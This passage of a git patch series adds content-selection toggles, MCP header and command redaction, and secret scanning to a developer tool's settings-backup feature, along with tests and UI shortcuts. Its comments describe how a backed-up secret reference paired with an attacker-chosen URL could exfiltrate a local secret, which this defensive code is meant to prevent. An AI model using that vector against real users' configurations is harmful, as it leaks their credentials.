     await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       // A build whose version metadata is unavailable must not produce a manifest that
       // this same code then rejects, which would make the backup unrestorable.
       muxVersion: undefined as unknown as string,
@@ -3402,6 +3739,7 @@ describe("backup payload", () => {
 
     const first = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: undefined as unknown as string,
       sourceLabel: "test-host",
     });
@@ -3410,6 +3748,7 @@ describe("backup payload", () => {
 
     const second = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: undefined as unknown as string,
       sourceLabel: "test-host",
       exportedAt: "2099-01-01T00:00:00.000Z",
@@ -3423,6 +3762,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3469,6 +3809,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -3480,7 +3821,7 @@ describe("backup payload", () => {
     expect(payloadPaths).toContain("skills/acme/auth-guide.md");
     expect(payloadPaths).toContain("agents/reviewer.md");
 
-    expect(scanBackupFilesForSecrets(payload.files)).toEqual([
+    expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual([
       "agents/api-key.md",
       "memory/global/api-key.txt",
       "memory/global/api-keys.txt",
@@ -3502,16 +3843,18 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/config.yaml", "api_key: abc123\n");
     const first = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
     });
-    const flagged = scanBackupFilesForSecrets(first.files);
+    const flagged = scanBackupFilesForSecrets(first.files, CONTENTS);
     const firstDigest = backupSecretApprovalDigest(first.files, flagged);
 
     await writeFixtureFile(muxRoot, "skills/demo/config.yaml", "api_key: a-different-secret\n");
     const second = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -3528,7 +3871,12 @@ describe("backup payload", () => {
     );
 
     try {
-      await createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" });
+      await createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      });
       throw new Error("Expected secret scan rejection");
     } catch (error) {
       if (!(error instanceof Error)) throw error;
@@ -3546,6 +3894,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "source",
       preferences: {},
@@ -3563,8 +3912,8 @@ describe("backup payload", () => {
     // own and would hide a missing mode.
     const previousUmask = process.umask(0o022);
     try {
-      await restoreBackupPayload({ muxRoot: fresh, payload });
-      await restoreBackupPayload({ muxRoot: existing, payload });
+      await restoreBackupPayload({ muxRoot: fresh, contents: CONTENTS, payload });
+      await restoreBackupPayload({ muxRoot: existing, contents: CONTENTS, payload });
     } finally {
       process.umask(previousUmask);
     }
@@ -3579,6 +3928,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "source",
       preferences: {},
@@ -3594,7 +3944,7 @@ describe("backup payload", () => {
     // the permissions the replaced file had.
     const previousUmask = process.umask(0o077);
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
     } finally {
       process.umask(previousUmask);
     }
@@ -3623,8 +3973,10 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "source",
+      reportSecrets: true,
       preferences: {
         appearance: { theme: "dark" },
         navigation: { launchBehavior: "last-workspace" },
@@ -3651,7 +4003,11 @@ describe("backup payload", () => {
       })
     );
 
-    const result = await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+    const result = await restoreBackupPayload({
+      muxRoot: restoreRoot,
+      contents: CONTENTS,
+      payload,
+    });
 
     expect(await fs.readFile(path.join(restoreRoot, "skills/shared/SKILL.md"), "utf-8")).toBe(
       "from backup\n"
@@ -3686,7 +4042,7 @@ describe("backup payload", () => {
       servers: { api: { url: string; headers?: Record<string, unknown> } };
     };
     expect(restoredMcp.servers.api.url).toBe("https://backup.example.com/mcp?mode=backup");
-    expect(restoredMcp.servers.api.headers).toBeUndefined();
+    expect(restoredMcp.servers.api.headers).toEqual({ Authorization: "Bearer backup-token" });
   });
 });
 
@@ -4392,6 +4748,7 @@ describe("project bundle", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "test",
       sourceLabel: "test",
     });
@@ -4416,6 +4773,7 @@ describe("project bundle", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "test",
       sourceLabel: "test",
     });
@@ -4703,10 +5061,13 @@ describe("project bundle", () => {
   });
 
   it("treats bundle memory files as recursively collected in the secret scan", () => {
-    const flagged = scanBackupFilesForSecrets([
-      { path: "memory/project/alpha-123456789abc/data.bin", content: Buffer.from("binary") },
-      { path: "memory/project/alpha-123456789abc/notes.md", content: Buffer.from("plain notes") },
-    ]);
+    const flagged = scanBackupFilesForSecrets(
+      [
+        { path: "memory/project/alpha-123456789abc/data.bin", content: Buffer.from("binary") },
+        { path: "memory/project/alpha-123456789abc/notes.md", content: Buffer.from("plain notes") },
+      ],
+      CONTENTS
+    );
     expect(flagged).toEqual(["memory/project/alpha-123456789abc/data.bin"]);
   });
 });
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 479e46c849..7d40ec846c 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -15,6 +15,8 @@ import {
   hasCredentialUrlParameters,
   isWindowsUnusableSegment,
   sanitizeBackupGitRemote,
+  type BackupContentFlag,
+  type BackupContents,
   type BackupProjectBundleEntry,
   type BackupProjectBundleManifest,
 } from "@/common/config/schemas/settingsBackup";
@@ -124,6 +126,7 @@ export interface BackupPayload {
 
 export interface CreateBackupPayloadOptions {
   muxRoot: string;
+  contents: BackupContents;
   preferences?: UserPreferences;
   muxVersion: string;
   sourceLabel: string;
@@ -139,6 +142,7 @@ export interface CreateBackupPayloadOptions {
 
 export interface RestoreBackupPayloadOptions {
   muxRoot: string;
+  contents: BackupContents;
   payload: BackupPayload;
   approvedCommandTokens?: readonly string[];
 }
@@ -201,12 +205,24 @@ function isOwnerOnlyPayloadPath(relativePath: string): boolean {
   return relativePath === "mcp.jsonc";
 }
 
+/** The content flag that selects a core payload path, or undefined when the path is not allowlisted. */
+function payloadPathContentFlag(relativePath: string): BackupContentFlag | undefined {
+  if (relativePath === "AGENTS.md") return "includeInstructions";
+  if (relativePath === "mcp.jsonc") return "includeMcp";
+  if (relativePath === "preferences.json") return "includePreferences";
+  if (/^agents\/[^/]+\.md$/.test(relativePath)) return "includeAgents";
+  if (/^skills\/.+/.test(relativePath)) return "includeSkills";
+  if (/^memory\/global\/.+/.test(relativePath)) return "includeGlobalMemory";
+  return undefined;
+}
+
 function isAllowedPayloadPath(relativePath: string): boolean {
-  if (relativePath === "AGENTS.md" || relativePath === "mcp.jsonc") return true;
-  if (relativePath === "preferences.json") return true;
-  if (/^agents\/[^/]+\.md$/.test(relativePath)) return true;
-  if (/^skills\/.+/.test(relativePath)) return true;
-  return /^memory\/global\/.+/.test(relativePath);
+  return payloadPathContentFlag(relativePath) !== undefined;
+}
+
+function isSelectedPayloadPath(relativePath: string, contents: BackupContents): boolean {
+  const flag = payloadPathContentFlag(relativePath);
+  return flag !== undefined && contents[flag];
 }
 
 function backupPathSegments(relativePath: string): string[] {
@@ -836,20 +852,24 @@ function createBackupFileCollector(root: BackupRoot) {
   };
 }
 
-export async function collectAllowlistedFiles(muxRoot: string): Promise<BackupFile[]> {
+/** The local files in the selected categories, for export and for the restore's local view. */
+export async function collectAllowlistedFiles(
+  muxRoot: string,
+  contents: BackupContents
+): Promise<BackupFile[]> {
   const root = await resolveRoot(muxRoot);
   const collector = createBackupFileCollector(root);
 
-  for (const relativePath of ["AGENTS.md", "mcp.jsonc"]) {
-    await collector.collectNamedFile(relativePath);
+  if (contents.includeInstructions) await collector.collectNamedFile("AGENTS.md");
+  if (contents.includeMcp) await collector.collectNamedFile("mcp.jsonc");
+  if (contents.includeAgents) {
+    await collector.collectDirectory(
+      "agents",
+      (relativePath, entry) => entry.isDirectory() || /^agents\/[^/]+\.md$/.test(relativePath)
+    );
   }
-
-  await collector.collectDirectory(
-    "agents",
-    (relativePath, entry) => entry.isDirectory() || /^agents\/[^/]+\.md$/.test(relativePath)
-  );
-  await collector.collectDirectory("skills", () => true);
-  await collector.collectDirectory("memory/global", () => true);
+  if (contents.includeSkills) await collector.collectDirectory("skills", () => true);
+  if (contents.includeGlobalMemory) await collector.collectDirectory("memory/global", () => true);
   collector.assertHardLinksContained();
   return collector.files.sort((a, b) => a.path.localeCompare(b.path));
 }
@@ -1152,10 +1172,9 @@ function isUnsupportedServerMap(value: unknown): boolean {
 /**
  * Fields Xum itself reads (`McpConfigService.normalizeEntry`), with the type it reads them as.
  * Anything else in the document, at any depth, is replaced with the marker: `normalizeEntry`
- * ignores an unrecognised field such as `env` or `args`, so nobody here can say whether its
- * value is a credential, and `{ "API_KEY": "hunter2" }` is not something a scanner can catch.
- * Restore puts the local value back at that exact path, so a field only Xum ignores is not
- * lost from a machine that already has it.
+ * ignores an unrecognised field such as `env` or `args`, so backing it up would publish a
+ * value nothing here uses. Restore puts the local value back at that exact path, so a field
+ * only Xum ignores is not lost from a machine that already has it.
  */
 const PORTABLE_SERVER_FIELDS: Record<string, (value: unknown) => boolean> = {
   command: (value) => typeof value === "string",
@@ -1166,6 +1185,39 @@ const PORTABLE_SERVER_FIELDS: Record<string, (value: unknown) => boolean> = {
   toolAllowlist: (value) => Array.isArray(value) && value.every((tool) => typeof tool === "string"),
 };
 
+/** The header shapes `normalizeEntry` reads: a literal value or a project-secret reference. */
+function isReadableHeaderValue(value: unknown): boolean {
+  return typeof value === "string" || isPortableReference(value);
+}
+
+/**
+ * The credential-bearing MCP fields the user can leave out of a backup. An excluded value is
+ * replaced with the marker rather than deleted, so a restore knows to keep the local value.
+ */
+export interface McpProjectionOptions {
+  includeHeaders: boolean;
+  includeCommands: boolean;
+}
+
+export function mcpProjectionOptions(contents: BackupContents): McpProjectionOptions {
+  return {
+    includeHeaders: contents.includeMcpHeaders,
+    includeCommands: contents.includeMcpCommands,
+  };
+}
+
+/** Refused rather than redacted: restore rejects this shape on every machine, including the one that wrote it. */
+function assertExportableMcpServers(content: Buffer): void {
+  const { parsed } = parseJsoncObjectWithTree(content.toString("utf-8"), "mcp.jsonc");
+  if (isUnsupportedServerMap(readOwn(parsed, "servers"))) {
+    throw new BackupInvalidPayloadError(
+      new Error(
+        "Cannot back up: mcp.jsonc lists servers as something other than an object. Fix the local file, then back up again."
+      )
+    );
+  }
+}
+
 /**
  * A jsonc edit keeps every comment, and a comment is prose the projection cannot inspect, so a
  * local `// token=hunter2` beside a server would be published verbatim and the scanner would
@@ -1199,7 +1251,10 @@ function valueHasRedactionAtPath(
   return typeof value === "string" && containsRedaction(value);
 }
 
-function redactMcpConfig(content: Buffer): {
+function redactMcpConfig(
+  content: Buffer,
+  options: McpProjectionOptions
+): {
   content: Buffer;
   redactionPaths: BackupRedactionPath[];
 } {
@@ -1232,24 +1287,16 @@ function redactMcpConfig(content: Buffer): {
     if (key !== "servers") redact([key]);
   }
 
-  const servers = readOwn(root, "servers");
-  // Refused rather than redacted: restore rejects this shape on every machine, including the
-  // one that wrote it, so redacting here would report a successful push for a backup that can
-  // never be restored.
-  if (isUnsupportedServerMap(servers)) {
-    throw new BackupInvalidPayloadError(
-      new Error(
-        "Cannot back up: mcp.jsonc lists servers as something other than an object. Fix the local file, then back up again."
-      )
-    );
-  }
-  const serverRecord = readRecord(servers);
+  const serverRecord = readRecord(readOwn(root, "servers"));
   if (!serverRecord) return finish();
 
   for (const serverName of objectKeyNames(tree, ["servers"])) {
     const rawServer = readOwn(serverRecord, serverName);
     // A bare string entry is the stdio command itself (`McpConfigService.normalizeEntry`).
-    if (typeof rawServer === "string") continue;
+    if (typeof rawServer === "string") {
+      if (!options.includeCommands) redact(["servers", serverName]);
+      continue;
+    }
     const server = readRecord(rawServer);
     if (!server) {
       redact(["servers", serverName]);
@@ -1265,24 +1312,28 @@ function redactMcpConfig(content: Buffer): {
       if (isPortableField) {
         // Read as the wrong type, `normalizeEntry` ignores it, which makes it another place
         // to hide a value nobody reads.
-        if (!isPortableField(value)) redact(fieldPath);
+        if (!isPortableField(value) || (field === "command" && !options.includeCommands)) {
+          redact(fieldPath);
+        }
         continue;
       }
       if (field === "headers") {
         const headers = readRecord(value);
-        if (!headers) {
+        // One marker for the whole object when headers are left out, so a restore puts the
+        // local headers back as a unit instead of only the names this backup happened to list.
+        if (!headers || !options.includeHeaders) {
           redact(fieldPath);
           continue;
         }
         for (const headerName of objectKeyNames(tree, fieldPath)) {
-          if (!isPortableReference(readOwn(headers, headerName))) {
+          if (!isReadableHeaderValue(readOwn(headers, headerName))) {
             redact([...fieldPath, headerName]);
           }
         }
         continue;
       }
-      // Xum ignores every other field, so its value may carry credentials under a shape this
-      // projection cannot classify. Restore uses only the local value at that exact path.
+      // Xum ignores every other field, so backing it up would only publish a value nothing
+      // reads. Restore uses the local value at that exact path.
       redact(fieldPath);
     }
   }
@@ -1405,7 +1456,13 @@ function urlHasCredentialComponents(rawUrl: string): boolean {
   );
 }
 
-function mcpConfigRequiresPublishApproval(content: string): boolean {
+/**
+ * The MCP values that commonly hold credentials and are published verbatim when selected: a
+ * stdio command (tokens in arguments or an env prefix), a URL with credential components, or a
+ * literal header value. A category the export left out holds only markers, so it is not
+ * reviewed; a `{secret: NAME}` reference names a secret without carrying it.
+ */
+function mcpConfigRequiresPublishApproval(content: string, options: McpProjectionOptions): boolean {
   const errors: jsonc.ParseError[] = [];
   const parsed = readRecord(jsonc.parse(content, errors));
   if (errors.length > 0 || !parsed) return false;
@@ -1415,10 +1472,20 @@ function mcpConfigRequiresPublishApproval(content: string): boolean {
     const serverRecord = readRecord(server);
     const command =
       typeof server === "string" ? server : serverRecord && readOwn(serverRecord, "command");
-    if (typeof command === "string" && command.trim() !== "") return true;
+    if (options.includeCommands && typeof command === "string" && command.trim() !== "") {
+      return true;
+    }
     if (!serverRecord) continue;
     const url = readOwn(serverRecord, "url");
     if (typeof url === "string" && urlHasCredentialComponents(url)) return true;
+    const headers = readRecord(readOwn(serverRecord, "headers"));
+    if (
+      options.includeHeaders &&
+      headers &&
+      Object.values(headers).some((value) => typeof value === "string")
+    ) {
+      return true;
+    }
   }
   return false;
 }
@@ -1437,12 +1504,18 @@ function isRecursivelyCollected(filePath: string): boolean {
  * Files a push must not publish until the user approves this exact payload. Not all of them
  * hold a secret: the structural cases are suspicion rather than detection.
  */
-export function scanBackupFilesForSecrets(files: readonly BackupFile[]): string[] {
+export function scanBackupFilesForSecrets(
+  files: readonly BackupFile[],
+  contents: BackupContents
+): string[] {
+  const mcpOptions = mcpProjectionOptions(contents);
   return files
     .filter((file) => {
       const content = file.content.toString("utf-8");
       if (SECRET_PATTERNS.some((pattern) => pattern.test(content))) return true;
-      if (file.path === "mcp.jsonc" && mcpConfigRequiresPublishApproval(content)) return true;
+      if (file.path === "mcp.jsonc" && mcpConfigRequiresPublishApproval(content, mcpOptions)) {
+        return true;
+      }
       // Every collected file, not just the recursive ones: `agents/` is collected by name and
       // its `.md` filter would otherwise auto-publish `agents/api-key.md`.
       if (hasCredentialPathHint(file.path)) return true;
@@ -1475,18 +1548,22 @@ export function backupSecretApprovalDigest(
 export async function createBackupPayload(
   options: CreateBackupPayloadOptions
 ): Promise<BackupPayload> {
-  const files = await collectAllowlistedFiles(options.muxRoot);
+  const files = await collectAllowlistedFiles(options.muxRoot, options.contents);
   const mcpRedactionPaths: BackupRedactionPath[] = [];
   const mcpFile = files.find((file) => file.path === "mcp.jsonc");
   if (mcpFile && options.keepLocalSecrets !== true) {
-    const redacted = redactMcpConfig(mcpFile.content);
+    // Redacting this shape would report a successful push for a backup no machine can restore.
+    assertExportableMcpServers(mcpFile.content);
+    const redacted = redactMcpConfig(mcpFile.content, mcpProjectionOptions(options.contents));
     mcpFile.content = redacted.content;
     mcpRedactionPaths.push(...redacted.redactionPaths);
   }
-  files.push({
-    path: "preferences.json",
-    content: serializeBackupPreferences(options.preferences),
-  });
+  if (options.contents.includePreferences) {
+    files.push({
+      path: "preferences.json",
+      content: serializeBackupPreferences(options.preferences),
+    });
+  }
   // Count and complexity only: this payload may be a local snapshot, whose names keep
   // current-filesystem forms that portable validation would refuse. Collection already
   // validated each name under local rules; publication re-checks with portable rules.
@@ -1495,7 +1572,7 @@ export async function createBackupPayload(
   files.sort((a, b) => a.path.localeCompare(b.path));
 
   if (options.reportSecrets !== true) {
-    const secretFiles = scanBackupFilesForSecrets(files);
+    const secretFiles = scanBackupFilesForSecrets(files, options.contents);
     if (secretFiles.length > 0) {
       throw new Error(`Backup contains possible secrets in: ${secretFiles.join(", ")}`);
     }
@@ -1855,6 +1932,45 @@ async function readBackupPayloadUnchecked(
   };
 }
 
+/**
+ * The part of a checked-out backup the current selection restores. Files outside the selected
+ * categories are left alone on this machine, and when MCP is selected without its headers or
+ * commands, the backup's `mcp.jsonc` gets the markers an export with this selection would
+ * carry, so the restore keeps this machine's values for them. Preview, approvals, and the
+ * restore all read the selected payload, so none of them can promise a different result.
+ */
+export function selectBackupContents(
+  payload: BackupPayload,
+  contents: BackupContents
+): BackupPayload {
+  const files = payload.files.filter((file) => isSelectedPayloadPath(file.path, contents));
+  const manifest: BackupManifest = {
+    ...payload.manifest,
+    files: payload.manifest.files.filter((file) => isSelectedPayloadPath(file.path, contents)),
+  };
+  let redactions = payload.redactions;
+  const mcpFile = files.find((file) => file.path === "mcp.jsonc");
+  const projection = mcpProjectionOptions(contents);
+  if (mcpFile && !(projection.includeHeaders && projection.includeCommands)) {
+    // A manifest without the list is read by marker text; listing the markers it already has
+    // keeps that reading once this pass adds paths of its own and the file is read by path.
+    const listed =
+      manifest.mcpRedactions ??
+      findMcpRedactionPaths(
+        parseJsoncObjectWithTree(mcpFile.content.toString("utf-8"), "backup mcp.jsonc").tree
+      );
+    const redacted = redactMcpConfig(mcpFile.content, projection);
+    files[files.indexOf(mcpFile)] = { ...mcpFile, content: redacted.content };
+    const merged = new Map<string, BackupRedactionPath>();
+    for (const jsonPath of [...listed, ...redacted.redactionPaths]) {
+      merged.set(redactionPathKey(jsonPath), jsonPath);
+    }
+    manifest.mcpRedactions = [...merged.values()];
+    redactions = manifest.mcpRedactions.map(redactionPathLabel);
+  }
+  return { manifest, files, redactions };
+}
+
 function containsRedaction(value: string): boolean {
   return (
     value.includes(REDACTED_BACKUP_VALUE) ||
@@ -2310,21 +2426,21 @@ function resolveRestoredCommands(
 }
 
 /**
- * A restored header value is only ever the local value at that exact path, or nothing.
+ * A literal header value the backup carries is restored as written: the user chose to back
+ * headers up, and anyone who can edit the repository could already read the value, so sending
+ * it to a url they chose exposes nothing new.
  *
- * `MCPServerManager.resolveHeaders` resolves both a literal header and a `{secret: NAME}`
- * reference against local data, then sends the result to whatever `url` the entry carries.
- * Deciding per value shape which ones are safe to carry over from a backup does not work:
- * a marker, a marker standing in for the whole `headers` object, a bare reference in a
- * marker-free file, and a reference the backup adds next to a url it chose are all the same
- * defect. So nothing the backup writes under `headers` survives unless the local file
- * already holds it at the same path, which makes the shape irrelevant.
+ * Everything else under `headers` resolves to the local value at that exact path, or nothing.
+ * `MCPServerManager.resolveHeaders` resolves a `{secret: NAME}` reference against local
+ * secrets, then sends the result to whatever `url` the entry carries, so a reference the
+ * backup adds next to a url it chose would exfiltrate a secret the repository never held. A
+ * marker stands for a value the backup left out. Neither survives unless the local file already
+ * holds that header, and only when the restored entry still points at the endpoint the local
+ * config sends it to; otherwise the header is dropped, leaving an entry that cannot
+ * authenticate rather than one that authenticates somewhere the user never approved.
  *
- * A local value is only put back when the restored entry still points at the endpoint the
- * local config already sends that header to. Otherwise the header is dropped, leaving an
- * entry that cannot authenticate rather than one that authenticates somewhere the user never
- * approved. Only header names the backup itself lists are considered, so a restore never
- * introduces a local header the backup did not have.
+ * A marker standing for the whole `headers` object (an export that left headers out) puts the
+ * entire local object back under the same endpoint rule.
  *
  * Returns the paths handled here so the generic redaction walk leaves them alone.
  */
@@ -2353,30 +2469,47 @@ function resolveRestoredHeaders(
     // by a path this function did not decide on.
     handled.add(headersPath.join("\u0000"));
 
-    const headers = readRecord(rawHeaders);
     const endpointMatches =
       restoredServerUrl(entry, localServer, name, redactedPaths) === readUrl(localServer);
-    if (!headers || !endpointMatches) {
+    const localHeaders = endpointMatches ? readRecord(localServer?.headers) : undefined;
+    if (
+      typeof rawHeaders === "string" &&
+      isRedactedBackupValue(rawHeaders, headersPath, redactedPaths)
+    ) {
+      edits.push({ path: headersPath, value: localHeaders });
+      continue;
+    }
+    const headers = readRecord(rawHeaders);
+    if (!headers) {
       edits.push({ path: headersPath, value: undefined });
       continue;
     }
 
-    const localHeaders = readRecord(localServer?.headers) ?? {};
     // Names come from the document, not the parsed object, because `jsonc.parse` drops a
     // `__proto__` key while the text keeps it. Enumerating the parse result would leave that
     // header, and its marker, untouched in the restored file.
-    const names = objectKeyNames(backupTree, ["servers", name, "headers"]);
+    const names = objectKeyNames(backupTree, headersPath);
     const restored: Record<string, unknown> = {};
     for (const headerName of names) {
-      if (!Object.hasOwn(localHeaders, headerName)) continue;
-      restored[headerName] = localHeaders[headerName];
+      const value = readOwn(headers, headerName);
+      if (
+        typeof value === "string" &&
+        !isRedactedBackupValue(value, [...headersPath, headerName], redactedPaths)
+      ) {
+        restored[headerName] = value;
+      } else if (localHeaders && Object.hasOwn(localHeaders, headerName)) {
+        restored[headerName] = localHeaders[headerName];
+      }
     }
 
     if (names.length !== Object.keys(restored).length) {
       // Something has to go: a header with no local counterpart, a duplicate key, or a name
       // the parser hides. Replacing the whole value is the only edit that reliably removes
       // it, since `jsonc.modify` cannot address a key it cannot see.
-      edits.push({ path: headersPath, value: restored });
+      edits.push({
+        path: headersPath,
+        value: Object.keys(restored).length > 0 ? restored : undefined,
+      });
       continue;
     }
     for (const [headerName, value] of Object.entries(restored)) {
@@ -2593,7 +2726,7 @@ export async function restoreBackupPayload(
   options: RestoreBackupPayloadOptions
 ): Promise<RestoreBackupPayloadResult> {
   const localPaths = new Set(
-    (await collectAllowlistedFiles(options.muxRoot)).map((file) => file.path)
+    (await collectAllowlistedFiles(options.muxRoot, options.contents)).map((file) => file.path)
   );
   const restoredPaths = new Set(
     options.payload.files
diff --git a/tests/ui/BackupSection.test.ts b/tests/ui/BackupSection.test.ts
index 16d0fbb851..a980ec7304 100644
--- a/tests/ui/BackupSection.test.ts
+++ b/tests/ui/BackupSection.test.ts
@@ -6,6 +6,7 @@ import { ThemeProvider } from "@/browser/contexts/ThemeContext";
 import { TooltipProvider } from "@/browser/components/Tooltip/Tooltip";
 import { BackupSection } from "@/browser/features/Settings/Sections/BackupSection";
 import { createMockORPCClient } from "@/browser/stories/mocks/orpc";
+import { BACKUP_CONTENT_DEFAULTS } from "@/common/config/schemas/settingsBackup";
 
 type MockOptions = Parameters<typeof createMockORPCClient>[0];
 type MockClient = ReturnType<typeof createMockORPCClient>;
@@ -97,6 +98,51 @@ describe("BackupSection", () => {
     expect(canvas.queryByRole("checkbox", { name: "Override secret scan" })).toBeNull();
   });
 
+  test("saves the content selection and gates the MCP sub-options on their parent", async () => {
+    const { client, view } = renderBackupSection();
+    const canvas = within(view.container);
+    await canvas.findByText("Settings backup");
+    const saveSettings = jest.spyOn(client.backup, "saveSettings");
+
+    const headers = canvas.getByRole("checkbox", { name: "HTTP header values" });
+    const commands = canvas.getByRole("checkbox", { name: "stdio commands" });
+    // Defaults: everything selected except projects.
+    expect(headers.getAttribute("aria-checked")).toBe("true");
+    expect(
+      canvas
+        .getByRole("checkbox", { name: "Project list & project memories" })
+        .getAttribute("aria-checked")
+    ).toBe("false");
+
+    fireEvent.click(headers);
+    expect(headers.getAttribute("aria-checked")).toBe("false");
+    expect(canvas.getByText("Unsaved changes")).toBeTruthy();
+
+    // Deselecting the parent disables both sub-options without forgetting their values.
+    const mcp = canvas.getByRole("checkbox", { name: "MCP server configuration" });
+    fireEvent.click(mcp);
+    expect(commands.hasAttribute("disabled")).toBe(true);
+    expect(commands.getAttribute("aria-checked")).toBe("false");
+    fireEvent.click(mcp);
+    expect(commands.hasAttribute("disabled")).toBe(false);
+    expect(commands.getAttribute("aria-checked")).toBe("true");
+    expect(headers.getAttribute("aria-checked")).toBe("false");
+
+    await act(async () => {
+      fireEvent.click(canvas.getByRole("button", { name: "Save settings" }));
+    });
+    await waitFor(() =>
+      expect(saveSettings).toHaveBeenCalledWith({
+        repoUrl: "git@github.com:example/dotfiles.git",
+        branch: "main",
+        path: "mux/",
+        ...BACKUP_CONTENT_DEFAULTS,
+        includeMcpHeaders: false,
+      })
+    );
+    await waitFor(() => expect(canvas.queryByText("Unsaved changes")).toBeNull());
+  });
+
   test("refreshes backup settings changed by another window", async () => {
     const { client, view } = renderBackupSection();
     const canvas = within(view.container);
@@ -123,7 +169,7 @@ describe("BackupSection", () => {
         repoUrl: "git@github.com:example/other.git",
         branch: "release",
         path: "shared/",
-        includeProjects: false,
+        ...BACKUP_CONTENT_DEFAULTS,
       })
     );
     await canvas.findByText("Backup to repository");
@@ -351,7 +397,7 @@ describe("BackupSection", () => {
         repoUrl: "git@github.com:example/new.git",
         branch: "main",
         path: "mux/",
-        includeProjects: false,
+        ...BACKUP_CONTENT_DEFAULTS,
         approvedSecretDigest: undefined,
       })
     );

From 3772c06008654905df4e568604c9a450b6134efb Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Fri, 11 Sep 2026 00:53:06 +0000
Subject: [PATCH 02/10] fix: read only selected categories, add content toggle
 shortcuts

Review follow-ups: readBackupPayload skips unselected manifest entries
so a deselected category is never parsed; the preview says when MCP is
excluded; every content toggle has a Ctrl+Alt shortcut.
---
 .../Settings/Sections/BackupSection.tsx       | 74 +++++++++++++------
 .../Settings/Sections/KeybindsSection.tsx     | 16 ++++
 src/browser/utils/ui/keybinds.ts              |  8 ++
 src/node/services/backup/adapters.ts          | 10 +--
 src/node/services/backup/payload.test.ts      | 35 +++++++++
 src/node/services/backup/payload.ts           | 41 +++++++---
 tests/ui/BackupSection.test.ts                | 31 ++++++++
 7 files changed, 175 insertions(+), 40 deletions(-)

diff --git a/src/browser/features/Settings/Sections/BackupSection.tsx b/src/browser/features/Settings/Sections/BackupSection.tsx
index c79e863250..fabf2cf1e4 100644
--- a/src/browser/features/Settings/Sections/BackupSection.tsx
+++ b/src/browser/features/Settings/Sections/BackupSection.tsx
@@ -51,7 +51,6 @@ const BACKUP_SHORTCUTS = [
   ["restore", KEYBINDS.SETTINGS_BACKUP_RESTORE],
   ["toggleOverride", KEYBINDS.SETTINGS_BACKUP_OVERRIDE_SECRET_SCAN],
   ["toggleApproveCommands", KEYBINDS.SETTINGS_BACKUP_APPROVE_COMMANDS],
-  ["toggleProjects", KEYBINDS.SETTINGS_BACKUP_TOGGLE_PROJECTS],
 ] as const;
 
 type BackupShortcutAction = (typeof BACKUP_SHORTCUTS)[number][0];
@@ -63,21 +62,42 @@ interface BackupContentOption {
   description?: string;
   /** Rendered indented under this flag and disabled while it is off. */
   parent?: BackupContentFlag;
-  shortcut?: Keybind;
+  shortcut: Keybind;
 }
 
 /** One selection governs both directions: what a push publishes and what a restore writes. */
 const BACKUP_CONTENT_OPTIONS: readonly BackupContentOption[] = [
-  { flag: "includeInstructions", label: "Global instructions" },
-  { flag: "includeAgents", label: "Agent definitions" },
-  { flag: "includeSkills", label: "Agent skills" },
-  { flag: "includeGlobalMemory", label: "Global memory" },
-  { flag: "includePreferences", label: "Portable preferences" },
+  {
+    flag: "includeInstructions",
+    label: "Global instructions",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_INSTRUCTIONS,
+  },
+  {
+    flag: "includeAgents",
+    label: "Agent definitions",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_AGENTS,
+  },
+  {
+    flag: "includeSkills",
+    label: "Agent skills",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_SKILLS,
+  },
+  {
+    flag: "includeGlobalMemory",
+    label: "Global memory",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_GLOBAL_MEMORY,
+  },
+  {
+    flag: "includePreferences",
+    label: "Portable preferences",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_PREFERENCES,
+  },
   {
     flag: "includeMcp",
     label: "MCP server configuration",
     description:
       "URLs are copied as written; one that looks like it carries a credential waits for your review before publishing.",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_MCP,
   },
   {
     flag: "includeMcpHeaders",
